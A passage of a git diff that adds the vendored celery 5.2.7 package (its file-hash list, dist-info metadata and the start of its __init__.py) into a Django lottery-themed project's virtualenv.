+celery/app/amqp.py,sha256=usxS_TMBWWRyHgDCTj-KHHpG7IREqB8YhqdH30kB9Pg,22985 +celery/app/annotations.py,sha256=93zuKNCE7pcMD3K5tM5HMeVCQ5lfJR_0htFpottgOeU,1445 +celery/app/autoretry.py,sha256=0RJAnhBl6PZss-xApBakTSaTHCwvOrg3sxiFJJ2Mvr0,2287 +celery/app/backends.py,sha256=_8yWU5m25OG-6U0Cjk7p5PBqbdXnZmdaEFyUDkkQO88,2750 +celery/app/base.py,sha256=7vhtjPCTdANy4vNFKxTCfUg0kuN8dhWxbMh_yeE2YyA,48394 +celery/app/builtins.py,sha256=gnOyE07M8zgxatTmb0D0vKztx1sQZaRi_hO_d-FLNUs,6673 +celery/app/control.py,sha256=rNz_QF8XDrDzK26PmhNM8BFVUAnU_XlR53QBOH9cM5E,27841 +celery/app/defaults.py,sha256=1CeMGFLsml3ZguZtFuKVMTgiEU9MxrC3iP63-Lomht4,14687 +celery/app/events.py,sha256=9ZyjdhUVvrt6xLdOMOVTPN7gjydLWQGNr4hvFoProuA,1326 +celery/app/log.py,sha256=TdLLTKeanwtPYGP2Yp7R71GbYG--vrj7DzPo3RGd3ZA,9148 +celery/app/registry.py,sha256=imdGUFb9CS4iiZ1pxAwcQAbe1JKKjyv9WTy94qHHQvk,2001 +celery/app/routes.py,sha256=DMdr5nmEnqJWXkLFIzWWxM2sz9ZYeA--8FeSaxKcBCg,4527 +celery/app/task.py,sha256=p0VH5OC1W3S1oXGoDU-hTh-AYWfRSVoPeHqwxWPNgHs,41604 +celery/app/trace.py,sha256=GmqOFy09-EC7rh3w3w0eyZzTgvrOMkTResJONdEky6U,27365 +celery/app/utils.py,sha256=sGqiAc10BSOWi_fmtgvixo04batVDwuFr2SFPriDkyU,13185 +celery/apps/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +celery/apps/__pycache__/__init__.cpython-310.pyc,, +celery/apps/__pycache__/beat.cpython-310.pyc,, +celery/apps/__pycache__/multi.cpython-310.pyc,, +celery/apps/__pycache__/worker.cpython-310.pyc,, +celery/apps/beat.py,sha256=jp8ZHMenzmaJ6WNNsLciXxSk_5sSyRCQo1Kyut1Ufeg,5145 +celery/apps/multi.py,sha256=MTRwjZNfve8ZMxdQlXyS16A3iFYzrt1DbS9jeojPb8U,16398 +celery/apps/worker.py,sha256=I5jZO1x5RTH-zcvjCE1YfA4JoQOhItQ7_TVN5ccRo9E,13463 +celery/backends/__init__.py,sha256=1kN92df1jDp3gC6mrGEZI2eE-kOEUIKdOOHRAdry2a0,23 +celery/backends/__pycache__/__init__.cpython-310.pyc,, +celery/backends/__pycache__/arangodb.cpython-310.pyc,, +celery/backends/__pycache__/asynchronous.cpython-310.pyc,, +celery/backends/__pycache__/azureblockblob.cpython-310.pyc,, +celery/backends/__pycache__/base.cpython-310.pyc,, +celery/backends/__pycache__/cache.cpython-310.pyc,, +celery/backends/__pycache__/cassandra.cpython-310.pyc,, +celery/backends/__pycache__/consul.cpython-310.pyc,, +celery/backends/__pycache__/cosmosdbsql.cpython-310.pyc,, +celery/backends/__pycache__/couchbase.cpython-310.pyc,, +celery/backends/__pycache__/couchdb.cpython-310.pyc,, +celery/backends/__pycache__/dynamodb.cpython-310.pyc,, +celery/backends/__pycache__/elasticsearch.cpython-310.pyc,, +celery/backends/__pycache__/filesystem.cpython-310.pyc,, +celery/backends/__pycache__/mongodb.cpython-310.pyc,, +celery/backends/__pycache__/redis.cpython-310.pyc,, +celery/backends/__pycache__/rpc.cpython-310.pyc,, +celery/backends/__pycache__/s3.cpython-310.pyc,, +celery/backends/arangodb.py,sha256=-UvpMlq0YcXGyJLmd99TEphp1TlwT-grwnrO56eWq5E,7737 +celery/backends/asynchronous.py,sha256=1_tCrURDVg0FvZhRzlRGYwTmsdWK14nBzvPulhwJeR4,10309 +celery/backends/azureblockblob.py,sha256=faVvwyxYRKhQpBnZvPNGgxja3mFNu8NxtW4j_222-w0,5168 +celery/backends/base.py,sha256=3ZGFacUPKQ1WH0AxiJNTjW2LBLCDZpW_tGM7pO5z1BQ,42695 +celery/backends/cache.py,sha256=Jqp7f_likS8azJupnjSNrstDoppyRcpZGdtmVgckbe8,4817 +celery/backends/cassandra.py,sha256=Xt4jw8dhaRdRQIO36H2ZJdetZpni8-nry1IAJaEDUlo,7890 +celery/backends/consul.py,sha256=oAB_94ftS95mjycQ4YL4zIdA-tGmwFyq3B0OreyBPNQ,3816 +celery/backends/cosmosdbsql.py,sha256=jMvoVdExNBsZ1seLhvThEZZpH_CcYo2AWtJJry9XZUg,6839 +celery/backends/couchbase.py,sha256=xRw4mbgjfyNtfd1X1mox3cPbcR4-emeJ6Re56F-X0Gk,3173 +celery/backends/couchdb.py,sha256=M_z0zgNFPwFw89paa5kIQ9x9o7VRPwuKCLZgoFhFDpA,2935 +celery/backends/database/__init__.py,sha256=ukNFAyO1PK8F9bm9S9VzDydCJVgAB3N-pSLufYyuQig,7771 +celery/backends/database/__pycache__/__init__.cpython-310.pyc,, +celery/backends/database/__pycache__/models.cpython-310.pyc,, +celery/backends/database/__pycache__/session.cpython-310.pyc,, +celery/backends/database/models.py,sha256=_6WZMv53x8I1iBRCa4hY35LaBUeLIZJzDusjvS-8aAg,3351 +celery/backends/database/session.py,sha256=3zu7XwYoE52aS6dsSmJanqlvS6ssjet7hSNUbliwnLo,3011 +celery/backends/dynamodb.py,sha256=pX0qAo1HiajbznWd0EykV9suQn3O49BqxB9RXwIzN1o,17254 +celery/backends/elasticsearch.py,sha256=Wdua6fUyMjiUT1ZjOmi04nGqKBFtdmQEAmkFs89kAGg,8339 +celery/backends/filesystem.py,sha256=JS6mWmYi7BZOcazd2qoBWAFi7iD0Awi-OFEcvvOuCok,3762 +celery/backends/mongodb.py,sha256=_qWNuqfaYShexHcH6-dfQx4J3LUpGQgEDCImSCgAhRg,10725 +celery/backends/redis.py,sha256=j1qejSfq7JB1OxdEDGOythbrxMp_Lm69fRxmWXq1f4E,25879 +celery/backends/rpc.py,sha256=Pfzjpz7znOfmHRERuQfOlTW-entAsl803oc1-EWpnTY,12077 +celery/backends/s3.py,sha256=MUL4-bEHCcTL53XXyb020zyLYTr44DDjOh6BXtkp9lQ,2752 +celery/beat.py,sha256=1VzGn2431HNyjg6u_joaJqrWlzOvFK93So60s1x4a3E,24394 +celery/bin/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +celery/bin/__pycache__/__init__.cpython-310.pyc,, +celery/bin/__pycache__/amqp.cpython-310.pyc,, +celery/bin/__pycache__/base.cpython-310.pyc,, +celery/bin/__pycache__/beat.cpython-310.pyc,, +celery/bin/__pycache__/call.cpython-310.pyc,, +celery/bin/__pycache__/celery.cpython-310.pyc,, +celery/bin/__pycache__/control.cpython-310.pyc,, +celery/bin/__pycache__/events.cpython-310.pyc,, +celery/bin/__pycache__/graph.cpython-310.pyc,, +celery/bin/__pycache__/list.cpython-310.pyc,, +celery/bin/__pycache__/logtool.cpython-310.pyc,, +celery/bin/__pycache__/migrate.cpython-310.pyc,, +celery/bin/__pycache__/multi.cpython-310.pyc,, +celery/bin/__pycache__/purge.cpython-310.pyc,, +celery/bin/__pycache__/result.cpython-310.pyc,, +celery/bin/__pycache__/shell.cpython-310.pyc,, +celery/bin/__pycache__/upgrade.cpython-310.pyc,, +celery/bin/__pycache__/worker.cpython-310.pyc,, +celery/bin/amqp.py,sha256=GRyqsBHtR4ubEdjjPYD8cpGg4uPkHJ889wtzSklRxMg,10030 +celery/bin/base.py,sha256=dBYhih3Qh8bQ99-FJd4gJuYGI43Udmp1YVplL1qc_G8,8543 +celery/bin/beat.py,sha256=Iyn8Qz8vVCePCw5jhLC3X-YxxzOlwG2mYKt6VqyuDWE,2583 +celery/bin/call.py,sha256=CTr4YC3Lt83UUw4U3Hqm4Z4XWol7dflGXXcOf8p-liA,2399 +celery/bin/celery.py,sha256=4JH2_Y9E-HRPgGWuNeU-r548yuI90F8vL30bA2sBSts,6767 +celery/bin/control.py,sha256=0r69bCXUDGjy_WI_mI1Dj--_iP8byI7Ljvrxj2tBS9Y,7089 +celery/bin/events.py,sha256=KGq_RdSpLjYd1wkyeliQPWZPXwxMosq1_Fk9cbtsG2M,2825 +celery/bin/graph.py,sha256=Ld2dKSxIdWHxFXrjsTXAUBj6jb02AVGyTPXDUZA_gvo,5796 +celery/bin/list.py,sha256=2OKPiXn6sgum_02RH1d_TBoXcpNcNsooT98Ht9pWuaY,1058 +celery/bin/logtool.py,sha256=sqK4LfuAtHuVD7OTsKbKfvB2OkfOD-K37ac9i_F8NIs,4267 +celery/bin/migrate.py,sha256=3BcuNiigoqsE8PNtMYuZ3162LYeV9b3ILP2VggAyR0o,2139 +celery/bin/multi.py,sha256=AKKMnm__5b2jIiOtZBeEsHUDrXLBE5RTlJeTMQk6Ir8,15364 +celery/bin/purge.py,sha256=WudoOOROcIh3yFVb2vHyZ9pRkrpKoebE_gFJz4rXQxw,2578 +celery/bin/result.py,sha256=TK2k84Mqh1nQ3XIOT_EN3Y4Y3h5ZcJIH8MEU-YIgJIE,1007 +celery/bin/shell.py,sha256=HxSoyFIpwEY9vp6bt6_5XDN4R2hfm0bVO7Ska2Y7R60,4809 +celery/bin/upgrade.py,sha256=S9QjG6Dq87G0JE3hro3Ri_1AexQddql_4X6Fcsj_340,3095 +celery/bin/worker.py,sha256=JaxyT0Wa_IyI7G9l5chaJ2URcQ8MA0d9C7tqkNFSixQ,12789 +celery/bootsteps.py,sha256=ddrxGDRCc2ra2ug0X5NBEI3fqPjkSlNRiYSXg2vGCq0,12297 +celery/canvas.py,sha256=ZmhtB6_wWsM_Atpcy6v07Y0l_-5AQJ3_VmytoI3YZ48,63287 +celery/concurrency/__init__.py,sha256=VbmcXYILbO6wUYaIS3zocU_XhUArX8Pt36yXuqFJJKY,995 +celery/concurrency/__pycache__/__init__.cpython-310.pyc,, +celery/concurrency/__pycache__/asynpool.cpython-310.pyc,, +celery/concurrency/__pycache__/base.cpython-310.pyc,, +celery/concurrency/__pycache__/eventlet.cpython-310.pyc,, +celery/concurrency/__pycache__/gevent.cpython-310.pyc,, +celery/concurrency/__pycache__/prefork.cpython-310.pyc,, +celery/concurrency/__pycache__/solo.cpython-310.pyc,, +celery/concurrency/__pycache__/thread.cpython-310.pyc,, +celery/concurrency/asynpool.py,sha256=Imb_7zNJuSdSsS6q710FOyqsO138tp_O_ysjMjXj5xU,50997 +celery/concurrency/base.py,sha256=MXjG1Aft74cXG5c7VL1afmDA68ZBz0HqunhRSD55JVE,4373 +celery/concurrency/eventlet.py,sha256=i4Xn3Kqg0cxbMyw7_aCTVCi7EOA5aLEiRdkb1xMTpvM,5126 +celery/concurrency/gevent.py,sha256=AkZ8Vn0Cx8m5Gk7j1OKP0Dc8NBpFW-hyc-yXrwGBCrs,3407 +celery/concurrency/prefork.py,sha256=BEswWP6p_cgflkGyPGdvQpobu71G2Lr3AQW7jnexChA,5789 +celery/concurrency/solo.py,sha256=WcOi0h4sJlE7WbR7DbHwZiHRE1-jlwMPW_4ENckQFKk,693 +celery/concurrency/thread.py,sha256=n-7ayKpyM80nRIQcxUVJo1yZLezI4n5IjWkfkXqTA6g,1248 +celery/contrib/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +celery/contrib/__pycache__/__init__.cpython-310.pyc,, +celery/contrib/__pycache__/abortable.cpython-310.pyc,, +celery/contrib/__pycache__/migrate.cpython-310.pyc,, +celery/contrib/__pycache__/pytest.cpython-310.pyc,, +celery/contrib/__pycache__/rdb.cpython-310.pyc,, +celery/contrib/__pycache__/sphinx.cpython-310.pyc,, +celery/contrib/abortable.py,sha256=ugEGSW0AO10Cee5sFrZMLL2H2r1b_ubbCXcbJNMjyw0,5091 +celery/contrib/migrate.py,sha256=-kCp6B4C6-HdK9YGDxjSDyROF_0VLIV5PzVJXmhJKrw,14163 +celery/contrib/pytest.py,sha256=Ngxpp9pTMJP5BzSEuWDw6CpPo7Z8f-ZQFSScWtxKVww,6747 +celery/contrib/rdb.py,sha256=Ek_FGkFUelOjxF0pG1Kc4pwfPdamWhGBCrco_G8ZbRw,5023 +celery/contrib/sphinx.py,sha256=2qLMuKpKm5Kwtvjfx_brDDjonIMaZptypMMuhDWShRc,3410 +celery/contrib/testing/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +celery/contrib/testing/__pycache__/__init__.cpython-310.pyc,, +celery/contrib/testing/__pycache__/app.cpython-310.pyc,, +celery/contrib/testing/__pycache__/manager.cpython-310.pyc,, +celery/contrib/testing/__pycache__/mocks.cpython-310.pyc,, +celery/contrib/testing/__pycache__/tasks.cpython-310.pyc,, +celery/contrib/testing/__pycache__/worker.cpython-310.pyc,, +celery/contrib/testing/app.py,sha256=nOcIjxGleSGp1HG9g3NqkeqOpvB_J370BqRldY1g97o,3017 +celery/contrib/testing/manager.py,sha256=1ACTOa35nwUIqKDq9WZpBGnBXZpgs6yDOVlKqtAWaYU,7723 +celery/contrib/testing/mocks.py,sha256=awhxvErtp9C5XMGbJXcpNsK2gODb87lES_SvgKaMYb4,4158 +celery/contrib/testing/tasks.py,sha256=pJM3aabw7udcppz4QNeUg1-6nlnbklrT-hP5JXmL-gM,208 +celery/contrib/testing/worker.py,sha256=Ewzz8HZRfC5mYgDpOsYyx9UHewbqO4xJcGdgmtiO1pU,5569 +celery/events/__init__.py,sha256=9d2cviCw5zIsZ3AvQJkx77HPTlxmVIahRR7Qa54nQnU,477 +celery/events/__pycache__/__init__.cpython-310.pyc,, +celery/events/__pycache__/cursesmon.cpython-310.pyc,, +celery/events/__pycache__/dispatcher.cpython-310.pyc,, +celery/events/__pycache__/dumper.cpython-310.pyc,, +celery/events/__pycache__/event.cpython-310.pyc,, +celery/events/__pycache__/receiver.cpython-310.pyc,, +celery/events/__pycache__/snapshot.cpython-310.pyc,, +celery/events/__pycache__/state.cpython-310.pyc,, +celery/events/cursesmon.py,sha256=z92gxRgnW5NJu9h6o4EAqLIDLu8HNjxn_nivP__3C_Q,18037 +celery/events/dispatcher.py,sha256=7b3-3d_6ukvRNajyfiHMX1YvoWNIzaB6zS3-zEUQhG4,8987 +celery/events/dumper.py,sha256=7zOVmAVfG2HXW79Fuvpo_0C2cjztTzgIXnaiUc4NL8c,3116 +celery/events/event.py,sha256=nt1yRUzDrYp9YLbsIJD3eo_AoMhT5sQtZAX-vEkq4Q8,1736 +celery/events/receiver.py,sha256=7dVvezYkBQOtyI-rH77-5QDJztPLB933VF7NgmezSuU,4998 +celery/events/snapshot.py,sha256=OLQuxx1af29LKnYKDoTesnPfK_5dFx3zCZ7JSdg9t7A,3294 +celery/events/state.py,sha256=ss9tQCo_IKE9gwYTAjwwsBiwPVavCte-43IJj89ycB8,25750 +celery/exceptions.py,sha256=uCD2SnbL6aOcyMGA5E1Eqw0IWDGUzQ-FJktuLlor7tE,9030 +celery/fixups/__init__.py,sha256=7ctNaKHiOa2fVePcdKPU9J-_bQ0k1jFHaoZlCHXY0vU,14 +celery/fixups/__pycache__/__init__.cpython-310.pyc,, +celery/fixups/__pycache__/django.cpython-310.pyc,, +celery/fixups/django.py,sha256=SlC-AdxBWkMYQoH6TB4A4dcIMIgZUbpdoJLJrJbGQ5U,6588 +celery/loaders/__init__.py,sha256=LnRTWk8pz2r7BUj2VUJiBstPjSBwCP0gUDRkbchGW24,490 +celery/loaders/__pycache__/__init__.cpython-310.pyc,, +celery/loaders/__pycache__/app.cpython-310.pyc,, +celery/loaders/__pycache__/base.cpython-310.pyc,, +celery/loaders/__pycache__/default.cpython-310.pyc,, +celery/loaders/app.py,sha256=xqRpRDJkGmTW21N_7zx5F4Na-GCTbNs6Q6tGfInnZnU,199 +celery/loaders/base.py,sha256=D4a73XmRVw-iLGQqHjeHd9sreideDhb7NVW2_KUjNfE,8861 +celery/loaders/default.py,sha256=TZq6zR4tg_20sVJAuSwSBLVRHRyfevHkHhUYrNRYkTU,1520 +celery/local.py,sha256=tT3j-aMWbakh7wSuAeP1EzgjuxgtXHNBtORgWvLXfL8,16312 +celery/platforms.py,sha256=VOOds3YPv8sOTlKopLD6Y7Prh6tlwonyo8jt9S9wAJQ,25564 +celery/result.py,sha256=1NVXQOdsAZWbVr3XGxJvVpPjQSAnFyHQKrADMNlu6xc,34179 +celery/schedules.py,sha256=pd76afTlCgt2S9BaTSmX_cylzlvTrrv_j6aRYQInmVA,29251 +celery/security/__init__.py,sha256=BdtPN8PyVbNytifqz5rxfLjQx5ltFxJo8WwM-MSLCtM,2274 +celery/security/__pycache__/__init__.cpython-310.pyc,, +celery/security/__pycache__/certificate.cpython-310.pyc,, +celery/security/__pycache__/key.cpython-310.pyc,, +celery/security/__pycache__/serialization.cpython-310.pyc,, +celery/security/__pycache__/utils.cpython-310.pyc,, +celery/security/certificate.py,sha256=X8Y32ssuEkEh8K0cTPXDzHHhLxEayEXX2ggDXeGFjpU,2991 +celery/security/key.py,sha256=AP-8kBfqaT8a6IpZsf2qALTCVB36RsoqN7e555VF6mw,1042 +celery/security/serialization.py,sha256=bOPi_ugy9EhmneLjjALvt-ZrwFCtPqQwH7f4zcqdq3I,4206 +celery/security/utils.py,sha256=VJuWxLZFKXQXzlBczuxo94wXWSULnXwbO_5ul_hwse0,845 +celery/signals.py,sha256=CgnwpZUNMZZqKIKOrCjsDnmxCSHSNgRXIjZFZ0uqlt4,4273 +celery/states.py,sha256=iIBdd02UPwDKTIYm9MGlIgHGBmrr9AzGgvbeBkPgSyU,3260 +celery/utils/__init__.py,sha256=lIJjBxvXCspC-ib-XasdEPlB0xAQc16P0eOPb0gWsL0,935 +celery/utils/__pycache__/__init__.cpython-310.pyc,, +celery/utils/__pycache__/abstract.cpython-310.pyc,, +celery/utils/__pycache__/collections.cpython-310.pyc,, +celery/utils/__pycache__/debug.cpython-310.pyc,, +celery/utils/__pycache__/deprecated.cpython-310.pyc,, +celery/utils/__pycache__/functional.cpython-310.pyc,, +celery/utils/__pycache__/graph.cpython-310.pyc,, +celery/utils/__pycache__/imports.cpython-310.pyc,, +celery/utils/__pycache__/iso8601.cpython-310.pyc,, +celery/utils/__pycache__/log.cpython-310.pyc,, +celery/utils/__pycache__/nodenames.cpython-310.pyc,, +celery/utils/__pycache__/objects.cpython-310.pyc,, +celery/utils/__pycache__/saferepr.cpython-310.pyc,, +celery/utils/__pycache__/serialization.cpython-310.pyc,, +celery/utils/__pycache__/sysinfo.cpython-310.pyc,, +celery/utils/__pycache__/term.cpython-310.pyc,, +celery/utils/__pycache__/text.cpython-310.pyc,, +celery/utils/__pycache__/threads.cpython-310.pyc,, +celery/utils/__pycache__/time.cpython-310.pyc,, +celery/utils/__pycache__/timer2.cpython-310.pyc,, +celery/utils/abstract.py,sha256=xN2Qr-TEp12P8AYO6WigxFr5p8kJPUUb0f5UX3FtHjI,2874 +celery/utils/collections.py,sha256=QWTMwJf0sWvE1QAkaUQwFNfSnDo44aFDpCurKU48CIw,25635 +celery/utils/debug.py,sha256=9g5U0NlTvlP9OFwjxfyXgihfzD-Kk_fcy7QDjhkqapw,4709 +celery/utils/deprecated.py,sha256=4asPe222TWJh8mcL53Ob6Y7XROPgqv23nCR-EUHJoBo,3620 +celery/utils/dispatch/__init__.py,sha256=s0_ZpvFWXw1cecEue1vj-MpOPQUPE41g5s-YsjnX6mo,74 +celery/utils/dispatch/__pycache__/__init__.cpython-310.pyc,, +celery/utils/dispatch/__pycache__/signal.cpython-310.pyc,, +celery/utils/dispatch/signal.py,sha256=LcmfBabnRAOR-wiADWQfBT-gN3Lzi29JpAcCvMLNNX4,13603 +celery/utils/functional.py,sha256=jX0PzVjGnzAKqSYdLCdPj67vW7sWCLgdj61UdSFVIeA,11762 +celery/utils/graph.py,sha256=oP25YXsQfND-VwF-MGolOGX0GbReIzVc9SJfIP1rUIc,9041 +celery/utils/imports.py,sha256=HEJWtHkRLN43Kva4WNsPROB47MIS_tjw27If5W0-NjY,4801 +celery/utils/iso8601.py,sha256=GaYiljjWBC42I1MXK2wljO2rupplPIibIcnSGWb7Pzs,2776 +celery/utils/log.py,sha256=_O-qrGkhPsSlwnGO4M-xM85dV26pr1eBbxWCIYUd6po,8809 +celery/utils/nodenames.py,sha256=URBwdtWR_CF8Ldf6tjxE4y7rl0KxFFD36HjjZcrwQ5Y,2858 +celery/utils/objects.py,sha256=NZ_Nx0ehrJut91sruAI2kVGyjhaDQR_ntTmF9Om_SI8,4215 +celery/utils/saferepr.py,sha256=SAFxeh0_oquPJFKzADklT1twCei4GnJsvAhdT09fPvM,9175 +celery/utils/serialization.py,sha256=E26LbVSyEbXncF9hrz9a3xBlkVGpP1g1fmDYGC4eOF8,8043 +celery/utils/static/__init__.py,sha256=KwDq8hA-Xd721HldwJJ34ExwrIEyngEoSIzeAnqc5CA,299 +celery/utils/static/__pycache__/__init__.cpython-310.pyc,, +celery/utils/static/celery_128.png,sha256=8NmZxCALQPp3KVOsOPfJVaNLvwwLYqiS5ViOc6x0SGU,2556 +celery/utils/sysinfo.py,sha256=LYdGzxbF357PrYNw31_9f8CEvrldtb0VAWIFclBtCnA,1085 +celery/utils/term.py,sha256=iHs42Ou4NEv57gxLWXqDNeT21YouhjK02vJ0bbltD5k,4568 +celery/utils/text.py,sha256=qYD21O_ItBWiS6dwi0d2AvdUUnhJqNyVvkGQYUgoOF4,5816 +celery/utils/threads.py,sha256=MIaWXDAAVr3qrH17OQwigzvKLWh-b4M-y_nkJFOjqnQ,9592 +celery/utils/time.py,sha256=rZHhbvzAEI5vag63jQUIArbqZYBMTO7IpZ2vPgqrQzQ,12372 +celery/utils/timer2.py,sha256=xv_7x_bDtILx4regqEm1ppQNenozSwOXi-21qQ4EJG4,4813 +celery/worker/__init__.py,sha256=EKUgWOMq_1DfWb-OaAWv4rNLd7gi91aidefMjHMoxzI,95 +celery/worker/__pycache__/__init__.cpython-310.pyc,, +celery/worker/__pycache__/autoscale.cpython-310.pyc,, +celery/worker/__pycache__/components.cpython-310.pyc,, +celery/worker/__pycache__/control.cpython-310.pyc,, +celery/worker/__pycache__/heartbeat.cpython-310.pyc,, +celery/worker/__pycache__/loops.cpython-310.pyc,, +celery/worker/__pycache__/pidbox.cpython-310.pyc,, +celery/worker/__pycache__/request.cpython-310.pyc,, +celery/worker/__pycache__/state.cpython-310.pyc,, +celery/worker/__pycache__/strategy.cpython-310.pyc,, +celery/worker/__pycache__/worker.cpython-310.pyc,, +celery/worker/autoscale.py,sha256=kzb1GTwRyw9DZFjwIvHrcLdJxuIGI8HaHdtvtr31i9A,4593 +celery/worker/components.py,sha256=Zlu5I0maDCaF1qSNtwS8jJe2okISsQc5KFvfuzBiZvs,7517 +celery/worker/consumer/__init__.py,sha256=yKaGZtBzYKADZMzbSq14_AUYpT4QAY9nRRCf73DDhqc,391 +celery/worker/consumer/__pycache__/__init__.cpython-310.pyc,, +celery/worker/consumer/__pycache__/agent.cpython-310.pyc,, +celery/worker/consumer/__pycache__/connection.cpython-310.pyc,, +celery/worker/consumer/__pycache__/consumer.cpython-310.pyc,, +celery/worker/consumer/__pycache__/control.cpython-310.pyc,, +celery/worker/consumer/__pycache__/events.cpython-310.pyc,, +celery/worker/consumer/__pycache__/gossip.cpython-310.pyc,, +celery/worker/consumer/__pycache__/heart.cpython-310.pyc,, +celery/worker/consumer/__pycache__/mingle.cpython-310.pyc,, +celery/worker/consumer/__pycache__/tasks.cpython-310.pyc,, +celery/worker/consumer/agent.py,sha256=bThS8ZVeuybAyqNe8jmdN6RgaJhDq0llewosGrO85-c,525 +celery/worker/consumer/connection.py,sha256=a7g23wmzevkEiMjjjD8Kt4scihf_NgkpR4gcuksys9M,1026 +celery/worker/consumer/consumer.py,sha256=ygyBVrOa7EWS3xQuD6F9833uTISCEhqjm1-TtlQZsU8,22951 +celery/worker/consumer/control.py,sha256=0NiJ9P-AHdv134mXkgRgU9hfhdJ_P7HKb7z9A4Xqa2Q,946 +celery/worker/consumer/events.py,sha256=FgDwbV0Jbj9aWPbV3KAUtsXZq4JvZEfrWfnrYgvkMgo,2054 +celery/worker/consumer/gossip.py,sha256=g-WJL2rr_q9aM_SaTUrQlPj2ONf8vHs2LvmyRQtDMEU,6833 +celery/worker/consumer/heart.py,sha256=IenkkliKk6sAk2a1NfYyh-doNDlmFWGRiaJd5e8ALpI,930 +celery/worker/consumer/mingle.py,sha256=UG8K6sXF1KUJXNiJ4eMHUMIg4_7K1tDWqYRNfd9Nz9k,2519 +celery/worker/consumer/tasks.py,sha256=lYjn-Mt2ZulQyO1lwSoMRzCKeWd8f955H_VfGG0-cyg,1959 +celery/worker/control.py,sha256=gqd3NO81v99MN889-XMjJYObq1oOX-0yT-ZzNdMQKJY,16885 +celery/worker/heartbeat.py,sha256=sTV_d0RB9M6zsXIvLZ7VU6teUfX3IK1ITynDpxMS298,2107 +celery/worker/loops.py,sha256=W9ayCwYXOA0aCxPPotXc49uA_n7CnMsDRPJVUNb8bZM,4433 +celery/worker/pidbox.py,sha256=LcQsKDkd8Z93nQxk0SOLulB8GLEfIjPkN-J0pGk7dfM,3630 +celery/worker/request.py,sha256=yW6wzKJLWTdmc179oHoTlmcQuHH-PuVMeoz6-DAOZVc,25214 +celery/worker/state.py,sha256=CjxPzNlrN1PJ1zRsz0M616KZIkChS1JzB-8Xabaizh0,8177 +celery/worker/strategy.py,sha256=ql2jbCu7ctrDbxxuWPRo0XFKQJrJv_m_uErb9NpnEAI,7349 +celery/worker/worker.py,sha256=xVWqd88ZSAgi6kq_ZWuwmII5hE5YFQt-tORhUsdsDpc,14513 diff --git a/lottopy_site/lottopy_site/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/REQUESTED similarity index 100% rename from lottopy_site/lottopy_site/__init__.py rename to django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/REQUESTED diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/WHEEL new file mode 100644 index 00000000..becc9a66 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.37.1) +Root-Is-Purelib: true +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/entry_points.txt b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/entry_points.txt new file mode 100644 index 00000000..fb04d7b6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/entry_points.txt @@ -0,0 +1,3 @@ +[console_scripts] +celery = celery.__main__:main + diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/top_level.txt new file mode 100644 index 00000000..74f9e8fe --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/top_level.txt @@ -0,0 +1 @@ +celery diff --git a/django_lottopy/lib/python3.10/site-packages/celery/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/__init__.py new file mode 100644 index 00000000..a57c3e04 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/__init__.py @@ -0,0 +1,173 @@ +"""Distributed Task Queue.""" +# :copyright: (c) 2016-2026 Asif Saif Uddin, celery core and individual +# contributors, All rights reserved. +# :copyright: (c) 2015-2016 Ask Solem. All rights reserved. +# :copyright: (c) 2012-2014 GoPivotal, Inc., All rights reserved. +# :copyright: (c) 2009 - 2012 Ask Solem and individual contributors, +# All rights reserved. +# :license: BSD (3 Clause), see LICENSE for more details. + +import os +import re +import sys +from collections import namedtuple + +# Lazy loading +from . import local + +SERIES = 'dawn-chorus' + +__version__ = '5.2.7' +__author__ = 'Ask Solem' +__contact__ = 'auvipy@gmail.com' +__homepage__ = 'http://celeryproject.org' +__docformat__ = 'restructuredtext' +__keywords__ = 'task job queue distributed messaging actor' + +# -eof meta- + +__all__ = ( + 'Celery', 'bugreport', 'shared_task', 'Task', + 'current_app', 'current_task', 'maybe_signature', + 'chain', 'chord', 'chunks', 'group', 'signature', + 'xmap', 'xstarmap', 'uuid', +) + +VERSION_BANNER = f'{__version__} ({SERIES})' + +version_info_t = namedtuple('version_info_t', ( + 'major', 'minor', 'micro', 'releaselevel', 'serial', +)) + +# bumpversion can only search for {current_version} +# so we have to parse the version here. +_temp = re.match( + r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() +VERSION = version_info = version_info_t( + int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') +del _temp +del re + +if os.environ.get('C_IMPDEBUG'): # pragma: no cover + import builtins + + def debug_import(name, locals=None, globals=None, + fromlist=None, level=-1, real_import=builtins.__import__): + glob = globals or getattr(sys, 'emarfteg_'[::-1])(1).f_globals + importer_name = glob and glob.get('__name__') or 'unknown' + print(f'-- {importer_name} imports {name}') + return real_import(name, locals, globals, fromlist, level) + builtins.__import__ = debug_import + +# This is never executed, but tricks static analyzers (PyDev, PyCharm, +# pylint, etc.) into knowing the types of these symbols, and what +# they contain. +STATICA_HACK = True +globals()['kcah_acitats'[::-1].upper()] = False +if STATICA_HACK: # pragma: no cover + from celery._state import current_app, current_task + from celery.app import shared_task + from celery.app.base import Celery + from celery.app.task import Task + from celery.app.utils import bugreport + from celery.canvas import (chain, chord, chunks, group, # noqa + maybe_signature, signature, subtask, xmap, + xstarmap) + from celery.utils import uuid + +# Eventlet/gevent patching must happen before importing 